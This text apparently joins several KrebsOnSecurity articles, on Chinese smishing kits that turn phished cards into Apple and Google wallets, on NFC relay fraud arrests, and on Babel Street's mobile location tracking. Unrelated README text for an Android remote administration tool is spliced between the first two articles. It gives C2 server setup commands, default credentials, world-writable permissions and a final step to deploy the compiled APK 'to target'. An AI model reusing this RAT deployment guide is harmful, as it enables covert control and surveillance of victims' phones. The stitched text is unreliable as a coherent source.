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China-based purveyors of SMS phishing kits are enjoying remarkable success converting phished payment card data into mobile wallets from Apple and Google. Until recently, the so-called “Smishing Triad” mainly impersonated toll road operators and shipping companies. But experts say these groups are now directly targeting customers of international financial institutions, while dramatically expanding their cybercrime infrastructure and support staff.
An image of an iPhone device farm shared on Telegram by one of the Smishing Triad members. Image: Prodaft.
If you own a mobile device, the chances are excellent that at some point in the past two years you’ve received at least one instant message that warns of a delinquent toll road fee, or a wayward package from the U.S. Postal Service (USPS). Those who click the promoted link are brought to a website that spoofs the USPS or a local toll road operator and asks for payment card information.
The site will then complain that the visitor’s bank needs to “verify” the transaction by sending a one-time code via SMS. In reality, the bank is sending that code to the mobile number on file for their customer because the fraudsters have just attempted to enroll that victim’s card details into a mobile wallet.
If the visitor supplies that one-time code, their payment card is then added to a new mobile wallet on an Apple or Google device that is physically controlled by the phishers. The phishing gangs typically load multiple stolen cards to digital wallets on a single Apple or Android device, and then sell those phones in bulk to scammers who use them for fraudulent e-commerce and tap-to-pay transactions.
A screenshot of the administrative panel for a smishing kit. On the left is the (test) data entered at the phishing site. On the right we can see the phishing kit has superimposed the supplied card number onto an image of a payment card. When the phishing kit scans that created card image into Apple or Google Pay, it triggers the victim’s bank to send a one-time code. Image: Ford Merrill.
The moniker “Smishing Triad” comes from Resecurity, which was among the first to report in August 2023 on the emergence of three distinct mobile phishing groups based in China that appeared to share some infrastructure and innovative phishing techniques. But it is a bit of a misnomer because the phishing lures blasted out by these groups are not SMS or text messages in the conventional sense.
Rather, they are sent via iMessage to Apple device users, and via RCS on Google Android devices. Thus, the missives bypass the mobile phone networks entirely and enjoy near 100 percent delivery rate (at least until Apple and Google suspend the spammy accounts).
In a report published on March 24, the Swiss threat intelligence firm Prodaft detailed the rapid pace of innovation coming from the Smishing Triad, which it characterizes as a loosely federated group of Chinese phishing-as-a-service operators with names like Darcula, Lighthouse, and the Xinxin Group.
Prodaft said they’re seeing a significant shift in the underground economy, particularly among Chinese-speaking threat actors who have historically operated in the shadows compared to their Russian-speaking counterparts.
“Chinese-speaking actors are introducing innovative and cost-effective systems, enabling them to target larger user bases with sophisticated services,” Prodaft wrote. “Their approach marks a new era in underground business practices, emphasizing scalability and efficiency in cybercriminal operations.”
A new report from researchers at the security firm SilentPush finds the Smishing Triad members have expanded into selling mobile phishing kits targeting customers of global financial institutions like CitiGroup, MasterCard, PayPal, Stripe, and Visa, as well as banks in Canada, Latin America, Australia and the broader Asia-Pacific region.
Phishing lures from the Smishing Triad spoofing PayPal. Image: SilentPush.
SilentPush found the Smishing Triad now spoofs recognizable brands in a variety of industry verticals across at least 121 countries and a vast number of industries, including the postal, logistics, telecommunications, transportation, finance, retail and public sectors.
According to SilentPush, the domains used by the Smishing Triad are rotated frequently, with approximately 25,000 phishing domains active during any 8-day period and a majority of them sitting at two Chinese hosting companies: Tencent (AS132203) and Alibaba (AS45102).
“With nearly two-thirds of all countries in the world targeted by [the] Smishing Triad, it’s safe to say they are essentially targeting every country with modern infrastructure outside of Iran, North Korea, and Russia,” SilentPush wrote. “Our team has observed some potential targeting in Russia (such as domains that mentioned their country codes), but nothing definitive enough to indicate Russia is a persistent target. Interestingly, even though these are Chinese threat actors, we have seen instances of targeting aimed at Macau and Hong Kong, both special administrative regions of China.”
SilentPush’s Zach Edwards said his team found a vulnerability that exposed data from one of the Smishing Triad’s phishing pages, which revealed the number of visits each site received each day across thousands of phishing domains that were active at the time. Based on that data, SilentPush estimates those phishing pages received well more than a million visits within a 20-day time span.
The report notes the Smishing Triad boasts it has “300+ front desk staff worldwide” involved in one of their more popular phishing kits — Lighthouse — staff that is mainly used to support various aspects of the group’s fraud and cash-out schemes.
The Smishing Triad members maintain their own Chinese-language sales channels on Telegram, which frequently offer videos and photos of their staff hard at work. Some of those images include massive walls of phones used to send phishing messages, with human operators seated directly in front of them ready to receive any time-sensitive one-time codes.
As noted in February’s story How Phished Data Turns Into Apple and Google Wallets, one of those cash-out schemes involves an Android app called Z-NFC, which can relay a valid NFC transaction from one of these compromised digital wallets to anywhere in the world. For a $500 month subscription, the customer can wave their phone at any payment terminal that accepts Apple or Google pay, and the app will relay an NFC transaction over the Internet from a stolen wallet on a phone in China.
Chinese nationals were recently busted trying to use these NFC apps to buy high-end electronics in Singapore. And in the United States, authorities in California and Tennessee arrested Chinese nationals accused of using NFC apps to fraudulently purchase gift cards from retailers.
The Prodaft researchers said they were able to find a previously undocumented backend management panel for Lucid, a smishing-as-a-service operation tied to the XinXin Group. The panel included victim figures that suggest the smishing campaigns maintain an average success rate of approximately five percent, with some domains receiving over 500 visits per week.
“In one observed instance, a single phishing website captured 30 credit card records from 550 victim interactions over a 7-day period,” Prodaft wrote.
Prodaft’s report details how the Smishing Triad has achieved such success in sending their spam messages. For example, one phishing vendor appears to send out messages using dozens of Android device emulators running in parallel on a single machine.
Phishers using multiple virtualized Android devices to orchestrate and distribute RCS-based scam campaigns. Image: Prodaft.
According to Prodaft, the threat actors first acquire phone numbers through various means including data breaches, open-source intelligence, or purchased lists from underground markets. They then exploit technical gaps in sender ID validation within both messaging platforms.
“For iMessage, this involves creating temporary Apple IDs with impersonated display names, while RCS exploitation leverages carrier implementation inconsistencies in sender verification,” Prodaft wrote. “Message delivery occurs through automated platforms using VoIP numbers or compromised credentials, often deployed in precisely timed multi-wave campaigns to maximize effectiveness.
In addition, the phishing links embedded in these messages use time-limited single-use URLs that expire or redirect based on device fingerprinting to evade security analysis, they found.
“The economics strongly favor the attackers, as neither RCS nor iMessage messages incur per-message costs like traditional SMS, enabling high-volume campaigns at minimal operational expense,” Prodaft continued. “The overlap in templates, target pools, and tactics among these platforms underscores a unified threat landscape, with Chinese-speaking actors driving innovation in the underground economy. Their ability to scale operations globally and evasion techniques pose significant challenges to cybersecurity defenses.”
Ford Merrill works in security research at SecAlliance, a CSIS Security Group company. Merrill said he’s observed at least one video of a Windows binary that wraps a Chrome executable and can be used to load in target phone numbers and blast messages via RCS, iMessage, Amazon, Instagram, Facebook, and WhatsApp.
“The evidence we’ve observed suggests the ability for a single device to send approximately 100 messages per second,” Merrill said. “We also believe that there is capability to source country specific SIM cards in volume that allow them to register different online accounts that require validation with specific country codes, and even make those SIM cards available to the physical devices long-term so that services that rely on checks of the validity of the phone number or SIM card presence on a mobile network are thwarted.”
Experts say this fast-growing wave of card fraud persists because far too many financial institutions still default to sending one-time codes via SMS for validating card enrollment in mobile wallets from Apple or Google. KrebsOnSecurity interviewed multiple security executives at non-U.S. financial institutions who spoke on condition of anonymity because they were not authorized to speak to the press. Those banks have since done away with SMS-based one-time codes and are now requiring customers to log in to the bank’s mobile app before they can link their card to a digital wallet.
Remote adminitration tool for android
FreshRSS console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 . The default credentials are username: android and password: android
mysql CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
c2-server/.env and web-socket/.env
database.sql
console php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/sites-available/000-default.conf ```console ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
- Modify/etc/apache2/apache2.confxml Comment this section #
Add this - Increase php file upload max size/etc/php/./apache2/php.iniini ; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M - Set web socket server address in <script> tag inc2-server/src/View/home.phpandc2-server/src/View/features/files.phpconsole const ws = new WebSocket('ws://IP_ADDRESS:8080'); - Restart apache using the command belowconsole sudo a2enmod rewrite && sudo service apache2 restart - Set C2 server and web socket server address in clientfunctionality/Utils.javajava public static final String C2_SERVER = "http://localhost";
public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
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Authorities in at least two U.S. states last week independently announced arrests of Chinese nationals accused of perpetrating a novel form of tap-to-pay fraud using mobile devices. Details released by authorities so far indicate the mobile wallets being used by the scammers were created through online phishing scams, and that the accused were relying on a custom Android app to relay tap-to-pay transactions from mobile devices located in China.
Image: WLVT-8.
Authorities in Knoxville, Tennessee last week said they arrested 11 Chinese nationals accused of buying tens of thousands of dollars worth of gift cards at local retailers with mobile wallets created through online phishing scams. The Knox County Sheriff’s office said the arrests are considered the first in the nation for a new type of tap-to-pay fraud.
Responding to questions about what makes this scheme so remarkable, Knox County said that while it appears the fraudsters are simply buying gift cards, in fact they are using multiple transactions to purchase various gift cards and are plying their scam from state to state.
“These offenders have been traveling nationwide, using stolen credit card information to purchase gift cards and launder funds,” Knox County Chief Deputy Bernie Lyon wrote. “During Monday’s operation, we recovered gift cards valued at over $23,000, all bought with unsuspecting victims’ information.”
Asked for specifics about the mobile devices seized from the suspects, Lyon said “tap-to-pay fraud involves a group utilizing Android phones to conduct Apple Pay transactions utilizing stolen or compromised credit/debit card information,” [emphasis added].
Lyon declined to offer additional specifics about the mechanics of the scam, citing an ongoing investigation.
Ford Merrill works in security research at SecAlliance, a CSIS Security Group company. Merrill said there aren’t many valid use cases for Android phones to transmit Apple Pay transactions. That is, he said, unless they are running a custom Android app that KrebsOnSecurity wrote about last month as part of a deep dive into the operations of China-based phishing cartels that are breathing new life into the payment card fraud industry (a.k.a. “carding”).
How are these China-based phishing groups obtaining stolen payment card data and then loading it onto Google and Apple phones? It all starts with phishing.
If you own a mobile phone, the chances are excellent that at some point in the past two years it has received at least one phishing message that spoofs the U.S. Postal Service to supposedly collect some outstanding delivery fee, or an SMS that pretends to be a local toll road operator warning of a delinquent toll fee.
These messages are being sent through sophisticated phishing kits sold by several cybercriminals based in mainland China. And they are not traditional SMS phishing or “smishing” messages, as they bypass the mobile networks entirely. Rather, the missives are sent through the Apple iMessage service and through RCS, the functionally equivalent technology on Google phones.
People who enter their payment card data at one of these sites will be told their financial institution needs to verify the small transaction by sending a one-time passcode to the customer’s mobile device. In reality, that code will be sent by the victim’s financial institution in response to a request by the fraudsters to link the phished card data to a mobile wallet.
If the victim then provides that one-time code, the phishers will link the card data to a new mobile wallet from Apple or Google, loading the wallet onto a mobile phone that the scammers control. These phones are then loaded with multiple stolen wallets (often between 5-10 per device) and sold in bulk to scammers on Telegram.
An image from the Telegram channel for a popular Chinese smishing kit vendor shows 10 mobile phones for sale, each loaded with 5-7 digital wallets from different financial institutions.
Merrill found that at least one of the Chinese phishing groups sells an Android app called “Z-NFC” that can relay a valid NFC transaction to anywhere in the world. The user simply waves their phone at a local payment terminal that accepts Apple or Google pay, and the app relays an NFC transaction over the Internet from a phone in China.
“I would be shocked if this wasn’t the NFC relay app,” Merrill said, concerning the arrested suspects in Tennessee.
Merrill said the Z-NFC software can work from anywhere in the world, and that one phishing gang offers the software for $500 a month.
“It can relay both NFC enabled tap-to-pay as well as any digital wallet,” Merrill said. “They even have 24-hour support.”
On March 16, the ABC affiliate in Sacramento (ABC10), Calif. aired a segment about two Chinese nationals who were arrested after using an app to run stolen credit cards at a local Target store. The news story quoted investigators saying the men were trying to buy gift cards using a mobile app that cycled through more than 80 stolen payment cards.
ABC10 reported that while most of those transactions were declined, the suspects still made off with $1,400 worth of gift cards. After their arrests, both men reportedly admitted that they were being paid $250 a day to conduct the fraudulent transactions.
Merrill said it’s not unusual for fraud groups to advertise this kind of work on social media networks, including TikTok.
A CBS News story on the Sacramento arrests said one of the suspects tried to use 42 separate bank cards, but that 32 were declined. Even so, the man still was reportedly able to spend $855 in the transactions.
Likewise, the suspect’s alleged accomplice tried 48 transactions on separate cards, finding success 11 times and spending $633, CBS reported.
“It’s interesting that so many of the cards were declined,” Merrill said. “One reason this might be is that banks are getting better at detecting this type of fraud. The other could be that the cards were already used and so they were already flagged for fraud even before these guys had a chance to use them. So there could be some element of just sending these guys out to stores to see if it works, and if not they’re on their own.”
Merrill’s investigation into the Telegram sales channels for these China-based phishing gangs shows their phishing sites are actively manned by fraudsters who sit in front of giant racks of Apple and Google phones that are used to send the spam and respond to replies in real time.
In other words, the phishing websites are powered by real human operators as long as new messages are being sent. Merrill said the criminals appear to send only a few dozen messages at a time, likely because completing the scam takes manual work by the human operators in China. After all, most one-time codes used for mobile wallet provisioning are generally only good for a few minutes before they expire.
For more on how these China-based mobile phishing groups operate, check out How Phished Data Turns Into Apple and Google Wallets.
The ashtray says: You’ve been phishing all night.
Not long ago, the ability to digitally track someone’s daily movements just by knowing their home address, employer, or place of worship was considered a dangerous power that should remain only within the purview of nation states. But a new lawsuit in a likely constitutional battle over a New Jersey privacy law shows that anyone can now access this capability, thanks to a proliferation of commercial services that hoover up the digital exhaust emitted by widely-used mobile apps and websites.
Image: Shutterstock, Arthimides.
Delaware-based Atlas Data Privacy Corp. helps its users remove their personal information from the clutches of consumer data brokers, and from people-search services online. Backed by millions of dollars in litigation financing, Atlas so far this year has sued 151 consumer data brokers on behalf of a class that includes more than 20,000 New Jersey law enforcement officers who are signed up for Atlas services.
Atlas alleges all of these data brokers have ignored repeated warnings that they are violating Daniel’s Law, a New Jersey statute allowing law enforcement, government personnel, judges and their families to have their information completely removed from commercial data brokers. Daniel’s Law was passed in 2020 after the death of 20-year-old Daniel Anderl, who was killed in a violent attack targeting a federal judge — his mother.
Last week, Atlas invoked Daniel’s Law in a lawsuit (PDF) against Babel Street, a little-known technology company incorporated in Reston, Va. Babel Street’s core product allows customers to draw a digital polygon around nearly any location on a map of the world, and view a slightly dated (by a few days) time-lapse history of the mobile devices seen coming in and out of the specified area.
Babel Street’s LocateX platform also allows customers to track individual mobile users by their Mobile Advertising ID or MAID, a unique, alphanumeric identifier built into all Google Android and Apple mobile devices.
Babel Street can offer this tracking capability by consuming location data and other identifying information that is collected by many websites and broadcast to dozens and sometimes hundreds of ad networks that may wish to bid on showing their ad to a particular user.
This image, taken from a video recording Atlas made of its private investigator using Babel Street to show all of the unique mobile IDs seen over time at a mosque in Dearborn, Michigan. Each red dot represents one mobile device.
In an interview, Atlas said a private investigator they hired was offered a free trial of Babel Street, which the investigator was able to use to determine the home address and daily movements of mobile devices belonging to multiple New Jersey police officers whose families have already faced significant harassment and death threats.
Atlas said the investigator encountered Babel Street while testing hundreds of data broker tools and services to see if personal information on its users was being sold. They soon discovered Babel Street also bundles people-search services with its platform, to make it easier for customers to zero in on a specific device.
The investigator contacted Babel Street about possibly buying home addresses in certain areas of New Jersey. After listening to a sales pitch for Babel Street and expressing interest, the investigator was told Babel Street only offers their service to the government or to “contractors of the government.”
“The investigator (truthfully) mentioned that he was contemplating some government contract work in the future and was told by the Babel Street salesperson that ‘that’s good enough’ and that ‘they don’t actually check,’” Atlas shared in an email with reporters.
KrebsOnSecurity was one of five media outlets invited to review screen recordings that Atlas made while its investigator used a two-week trial version of Babel Street’s LocateX service. References and links to reporting by other publications, including 404 Media, Haaretz, NOTUS, and The New York Times, will appear throughout this story.
Collectively, these stories expose how the broad availability of mobile advertising data has created a market in which virtually anyone can build a sophisticated spying apparatus capable of tracking the daily movements of hundreds of millions of people globally.
The findings outlined in Atlas’s lawsuit against Babel Street also illustrate how mobile location data is set to massively complicate several hot-button issues, from the tracking of suspected illegal immigrants or women seeking abortions, to harassing public servants who are already in the crosshairs over baseless conspiracy theories and increasingly hostile political rhetoric against government employees.
Atlas says the Babel Street trial period allowed its investigator to find information about visitors to high-risk targets such as mosques, synagogues, courtrooms and abortion clinics. In one video, an Atlas investigator showed how they isolated mobile devices seen in a New Jersey courtroom parking lot that was reserved for jurors, and then tracked one likely juror’s phone to their home address over several days.
While the Atlas investigator had access to its trial account at Babel Street, they were able to successfully track devices belonging to several plaintiffs named or referenced in the lawsuit. They did so by drawing a digital polygon around the home address or workplace of each person in Babel Street’s platform, which focused exclusively on the devices that passed through those addresses each day.
Each red dot in this Babel Street map represents a unique mobile device that has been seen since April 2022 at a Jewish synagogue in Los Angeles, Calif. Image: Atlas Data Privacy Corp.
One unique feature of Babel Street is the ability to toggle a “night” mode, which makes it relatively easy to determine within a few meters where a target typically lays their head each night (because their phone is usually not far away).
Atlas plaintiffs Scott and Justyna Maloney are both veteran officers with the Rahway, NJ police department who live together with their two young children. In April 2023, Scott and Justyna became the target of intense harassment and death threats after Officer Justyna responded to a routine call about a man filming people outside of the Motor Vehicle Commission in Rahway.
The man filming the Motor Vehicle Commission that day is a social media personality who often solicits police contact and then records himself arguing about constitutional rights with the responding officers.
Officer Justyna’s interaction with the man was entirely peaceful, and the episode appeared to end without incident. But after a selectively edited video of that encounter went viral, their home address and unpublished phone numbers were posted online. When their tormentors figured out that Scott was also a cop (a sergeant), the couple began receiving dozens of threatening text messages, including specific death threats.
According to the Atlas lawsuit, one of the messages to Mr. Maloney demanded money, and warned that his family would “pay in blood” if he didn’t comply. Sgt. Maloney said he then received a video in which a masked individual pointed a rifle at the camera and told him that his family was “going to get [their] heads cut off.”
Maloney said a few weeks later, one of their neighbors saw two suspicious individuals in ski masks parked one block away from the home and alerted police. Atlas’s complaint says video surveillance from neighboring homes shows the masked individuals circling the Maloney’s home. The responding officers arrested two men, who were armed, for unlawful possession of a firearm.
According to Google Maps, Babel Street shares a corporate address with Google and the consumer credit reporting bureau TransUnion.
Atlas said their investigator was not able to conclusively find Scott Maloney’s iPhone in the Babel Street platform, but they did find Justyna’s. Babel Street had nearly 100,000 hits for her phone over several months, allowing Atlas to piece together an intimate picture of Justyna’s daily movements and meetings with others.
An Atlas investigator visited the Maloneys and inspected Justyna’s iPhone, and determined the only app that used her device’s location data was from the department store Macy’s.
In a written response to questions, Macy’s said its app includes an opt-in feature for geo-location, “which allows customers to receive an enhanced shopping experience based on their location.”
“We do not store any customer location information,” Macy’s wrote. “We share geo-location data with a limited number of partners who help us deliver this enhanced app experience. Furthermore, we have no connection with Babel Street” [link added for context].
Justyna’s experience highlights a stark reality about the broad availability of mobile location data: Even if the person you’re looking for isn’t directly identifiable in platforms like Babel Street, it is likely that at least some of that person’s family members are. In other words, it’s often trivial to infer the location of one device by successfully locating another.
The terms of service for Babel Street’s Locate X service state that the product “may not be used as the basis for any legal process in any country, including as the basis for a warrant, subpoena, or any other legal or administrative action.” But Scott Maloney said he’s convinced by their experience that not even law enforcement agencies should have access to this capability without a warrant.
“As a law enforcement officer, in order for me to track someone I need a judge to sign a warrant – and that’s for a criminal investigation after we’ve developed probable cause,” Mr. Maloney said in an interview. “Data brokers tracking me and my family just to sell that information for profit, without our consent, and even after we’ve explicitly asked them not to is deeply disturbing.”
Mr. Maloney’s law enforcement colleagues in other states may see things differently. In August, The Texas Observer reported that state police plan to spend more than $5 million on a contract for a controversial surveillance tool called Tangles from the tech firm PenLink. Tangles is an AI-based web platform that scrapes information from the open, deep and dark web, and it has a premier feature called WebLoc that can be used to geofence mobile devices.
The Associated Press reported last month that law enforcement agencies from suburban Southern California to rural North Carolina have been using an obscure cell phone tracking tool called Fog Reveal — at times without warrants — that gives them the ability to follow people’s movements going back many months.
It remains unclear precisely how Babel Street is obtaining the abundance of mobile location data made available to users of its platform. The company did not respond to multiple requests for comment.
But according to a document (PDF) obtained under a Freedom of Information Act request with the Department of Homeland Security’s Science and Technology directorate, Babel Street re-hosts data from the commercial phone tracking firm Venntel.
On Monday, the Substack newsletter All-Source Intelligence unearthed documents indicating that the U.S. Federal Trade Commission has opened an inquiry into Venntel and its parent company Gravy Analytics.
“Venntel has also been a data partner of the police surveillance contractor Fog Data Science, whose product has been described as ‘mass surveillance on a budget,'” All-Source’s Jack Poulson wrote. “Venntel was also reported to have been a primary data source of the controversial ‘Locate X’ phone tracking product of the American data fusion company Babel Street.”
The Mobile Advertising ID or MAID — the unique alphanumeric identifier assigned to each mobile device — was originally envisioned as a way to distinguish individual mobile customers without relying on personally identifiable information such as phone numbers or email addresses.
However, there is now a robust industry of marketing and advertising companies that specialize in assembling enormous lists of MAIDs that are “enriched” with historical and personal information about the individual behind each MAID.
One of many vendors that “enrich” MAID data with other identifying information, including name, address, email address and phone number.
Atlas said its investigator wanted to know whether they could find enriched MAID records on their New Jersey law enforcement customers, and soon found plenty of ad data brokers willing to sell it.
Some vendors offered only a handful of data fields, such as first and last name, MAID and email address. Other brokers sold far more detailed histories along with their MAID, including each subject’s social media profiles, precise GPS coordinates, and even likely consumer category.
How are advertisers and data brokers gaining access to so much information? Some sources of MAID data can be apps on your phone such as AccuWeather, GasBuddy, Grindr, and MyFitnessPal that collect your MAID and location and sell that to brokers.
A user’s MAID profile and location data also is commonly shared as a consequence of simply using a smartphone to visit a web page that features ads. In the few milliseconds before those ads load, the website will send a “bid request” to various ad exchanges, where advertisers can bid on the chance to place their ad in front of users who match the consumer profiles they’re seeking. A great deal of data can be included in a bid request, including the user’s precise location (the current open standard for bid requests is detailed here).
The trouble is that virtually anyone can access the “bidstream” data flowing through these so-called “realtime bidding” networks, because the information is simultaneously broadcast in the clear to hundreds of entities around the world.
The result is that there are a number of marketing companies that now enrich and broker access to this mobile location information. Earlier this year, the German news outlet netzpolitik.org purchased a bidstream data set containing more than 3.6 billion data points, and shared the information with the German daily BR24. They concluded that the data they obtained (through a free trial, no less) made it possible to establish movement profiles — some of them quite precise — of several million people across Germany.
A screenshot from the BR24/Netzpolitik story about their ability to track millions of Germans, including many employees of the German Federal Police and Interior Ministry.
Politico recently covered startling research from universities in New Hampshire, Kentucky and St. Louis that showed how the mobile advertising data they acquired allowed them to link visits from investigators with the U.S. Securities and Exchange Commission (SEC) to insiders selling stock before the investigations became public knowledge.
The researchers in that study said they didn’t attempt to use the same methods to track regulators from other agencies, but that virtually anyone could do it.
Justin Sherman, a distinguished fellow at Georgetown Law’s Center for Privacy and Technology, called the research a “shocking demonstration of what happens when companies can freely harvest Americans’ geolocation data and sell it for their chosen price.”
“Politicians should understand how they, their staff, and public servants are threatened by the sale of personal data—and constituent groups should realize that talk of data broker ‘controls’ or ‘best practices” is designed by companies to distract from the underlying problems and the comprehensive privacy and security solutions,” Sherman wrote for Lawfare this week.
The Orwellian nature of modern mobile advertising networks may soon have far-reaching implications for women’s reproductive rights, as more states move to outlaw abortion within their borders. The 2022 Dobbs decision by the U.S. Supreme Court discarded the federal right to abortion, and 14 states have since enacted strict abortion bans.
Anti-abortion groups are already using mobile advertising data to advance their cause. In May 2023, The Wall Street Journal reported that an anti-abortion group in Wisconsin used precise geolocation data to direct ads to women it suspected of seeking abortions.
As it stands, there is little to stop anti-abortion groups from purchasing bidstream data (or renting access to a platform like Babel Street) and using it to geofence abortion clinics, potentially revealing all mobile devices transiting through these locations.
Atlas said its investigator geofenced an abortion clinic and was able to identify a likely employee at that clinic, following their daily route to and from that individual’s home address.
A still shot from a video Atlas shared of its use of Babel Street to identify and track an employee traveling each day between their home and the clinic.
Last year, Idaho became the first state to outlaw “abortion trafficking,” which the Idaho Capital Sun reports is defined as “recruiting, harboring or transporting a pregnant minor to get an abortion or abortion medication without parental permission.” Tennessee now has a similar law, and GOP lawmakers in five other states introduced abortion trafficking bills that failed to advance this year, the Sun reports.
Atlas said its investigator used Babel Street to identify and track a person traveling from their home in Alabama — where abortion is now illegal — to an abortion clinic just over the border in Tallahassee, Fla. — and back home again within a few hours. Abortion rights advocates and providers are currently suing Alabama Attorney General Steve Marshall, seeking to block him from prosecuting people who help patients travel out-of-state to end pregnancies.
Eva Galperin, director of cybersecurity at the Electronic Frontier Foundation (EFF), a non-profit digital rights group, said she’s extremely concerned about dragnet surveillance of people crossing state lines in order to get abortions.
“Specifically, Republican officials from states that have outlawed abortion have made it clear that they are interested in targeting people who have gone to neighboring states in order to get abortions, and to make it more difficult for people who are seeking abortions to go to neighboring states,” Galperin said. “It’s not a great leap to imagine that states will do this.”
Atlas found that for the right price (typically $10-50k a year), brokers can provide access to tens of billions of data points covering large swaths of the US population and the rest of the world.
Based on the data sets Atlas acquired — many of which included older MAID records — they estimate they could locate roughly 80 percent of Android-based devices, and about 25 percent of Apple phones. Google refers to its MAID as the “Android Advertising ID,” (AAID) while Apple calls it the “Identifier for Advertisers” (IDFA).
What accounts for the disparity between the number of Android and Apple devices that can be found in mobile advertising data? In April 2021, Apple shipped version 14.5 of its iOS operating system, which introduced a technology called App Tracking Transparency (ATT) that requires apps to get affirmative consent before they can track users by their IDFA or any other identifier.
Apple’s introduction of ATT had a swift and profound impact on the advertising market: Less than a year later Facebook disclosed that the iPhone privacy feature would decrease the company’s 2022 revenues by about $10 billion.
Source: cnbc.com.
Google runs by far the world’s largest ad exchange, known as AdX. The U.S. Department of Justice, which has accused Google of building a monopoly over the technology that places ads on websites, estimates that Google’s ad exchange controls 47 percent of the U.S. market and 56 percent globally.
Google’s Android is also the dominant mobile operating system worldwide, with more than 72 percent of the market. In the U.S., however, iPhone users claim approximately 55 percent of the market, according to TechRepublic.
In response to requests for comment, Google said it does not send real time bidding requests to Babel Street, nor does it share precise location data in bid requests. The company added that its policies explicitly prohibit the sale of data from real-time bidding, or its use for any purpose other than advertising.
Google said its MAIDs are randomly generated and do not contain IP addresses, GPS coordinates, or any other location data, and that its ad systems do not share anyone’s precise location data.
“Android has clear controls for users to manage app access to device location, and reset or delete their advertising ID,” Google’s written statement reads. “If we learn that someone, whether an app developer, ad tech company or anyone else, is violating our policies, we take appropriate action. Beyond that, we support legislation and industry collaboration to address these types of data practices that negatively affect the entire mobile ecosystem, including all operating systems.”
In a written statement shared with reporters, Apple said Location Services is not on by default in its devices. Rather, users must enable Location Services and must give permission to each app or website to use location data. Users can turn Location Services off at any time, and can change whether apps have access to location at any time. The user’s choices include precise vs. approximate location, as well as a one-time grant of location access by the app.
“We believe that privacy is a fundamental human right, and build privacy protections into each of our products and services to put the user in control of their data,” an Apple spokesperson said. “We minimize personal data collection, and where possible, process data only on users’ devices.”
Zach Edwards is a senior threat analyst at the cybersecurity firm SilentPush who has studied the location data industry closely. Edwards said Google and Apple can’t keep pretending like the MAIDs being broadcast into the bidstream from hundreds of millions of American devices aren’t making most people trivially trackable.
“The privacy risks here will remain until Apple and Google permanently turn off their mobile advertising ID schemes and admit to the American public that this is the technology that has been supporting the global data broker ecosystem,” he said.
According to Bloomberg Law, between 2019 and 2023, threats against federal judges have more than doubled. Amid increasingly hostile political rhetoric and conspiracy theories against government officials, a growing number of states are seeking to pass their own versions of Daniel’s Law.
Last month, a retired West Virginia police officer filed a class action lawsuit against the people-search service Whitepages for listing their personal information in violation of a statute the state passed in 2021 that largely mirrors Daniel’s Law.
In May 2024, Maryland passed the Judge Andrew F. Wilkinson Judicial Security Act — named after a county circuit court judge who was murdered by an individual involved in a divorce proceeding over which he was presiding. The law allows current and former members of the Maryland judiciary to request their personal information not be made available to the public.
Under the Maryland law, personal information can include a home address; telephone number, email address; Social Security number or federal tax ID number; bank account or payment card number; a license plate or other unique vehicle identifier; a birth or marital record; a child’s name, school, or daycare; place of worship; place of employment for a spouse, child, or dependent.
The law firm Troutman Pepper writes that “so far in 2024, 37 states have begun considering or have adopted similar privacy-based legislation designed to protect members of the judiciary and, in some states, other government officials involved in law enforcement.”
Atlas alleges that in response to requests to have data on its New Jersey law enforcement clients scrubbed from consumer records sold by LexisNexis, the data broker retaliated by freezing the credit of approximately 18,500 people, and falsely reporting them as identity theft victims.
In addition, Atlas said LexisNexis started returning failure codes indicating they had no record of these individuals, resulting in denials when officers attempted to refinance loans or open new bank accounts.
The data broker industry has responded by having at least 70 of the Atlas lawsuits moved to federal court, and challenging the constitutionality of the New Jersey statute as overly broad and a violation of the First Amendment.
Attorneys for the data broker industry argued in their motion to dismiss that there is “no First Amendment doctrine that exempts a content-based restriction from strict scrutiny just because it has some nexus with a privacy interest.”
Atlas’s lawyers responded that data covered under Daniel’s Law — personal information of New Jersey law enforcement officers — is not free speech. Atlas notes that while defending against comparable lawsuits, the data broker industry has argued that home address and phone number data are not “communications.”
“Data brokers should not be allowed to argue that information like addresses are not ‘communications’ in one context, only to turn around and claim that addresses are protectable communications,” Atlas argued (PDF). “Nor can their change of course alter the reality that the data at issue is not speech.”
The judge overseeing the challenge is expected to rule on the motion to dismiss within the next few weeks. Regardless of the outcome, the decision is likely to be appealed all the way to the U.S. Supreme Court.
Meanwhile, media law experts say they’re concerned that enacting Daniel’s Law in other states could limit the ability of journalists to hold public officials accountable, and allow authorities to pursue criminal charges against media outlets that publish the same type of public and government records that fuel the people-search industry.
Sen. Ron Wyden (D-Ore.) said Congress’ failure to regulate data brokers, and the administration’s continued opposition to bipartisan legislation that would limit data sales to law enforcement, have created this current privacy crisis.
“Whether location data is being used to identify and expose closeted gay Americans, or to track people as they cross state lines to seek reproductive health care, data brokers are selling Americans’ deepest secrets and exposing them to serious harm, all for a few bucks,” Wyden said in a statement shared with KrebsOnSecurity, 404 Media, Haaretz, NOTUS, and The New York Times.
Sen. Wyden said Google also deserves blame for refusing to follow Apple’s lead by removing companies’ ability to track phones.
“Google’s insistence on uniquely tracking Android users – and allowing ad companies to do so as well – has created the technical foundations for the surveillance economy and the abuses stemming from it,” Wyden said.
Georgetown Law’s Justin Sherman said the data broker and mobile ad industries claim there are protections in place to anonymize mobile location data and restrict access to it, and that there are limits to the kinds of invasive inferences one can make from location data. The data broker industry also likes to tout the usefulness of mobile location data in fighting retail fraud, he said.
“All kinds of things can be inferred from this data, including people being targeted by abusers, or people with a particular health condition or religious belief,” Sherman said. “You can track jurors, law enforcement officers visiting the homes of suspects, or military intelligence people meeting with their contacts. The notion that the sale of all this data is preventing harm and fraud is hilarious in light of all the harm it causes enabling people to better target their cyber operations, or learning about people’s extramarital affairs and extorting public officials.”
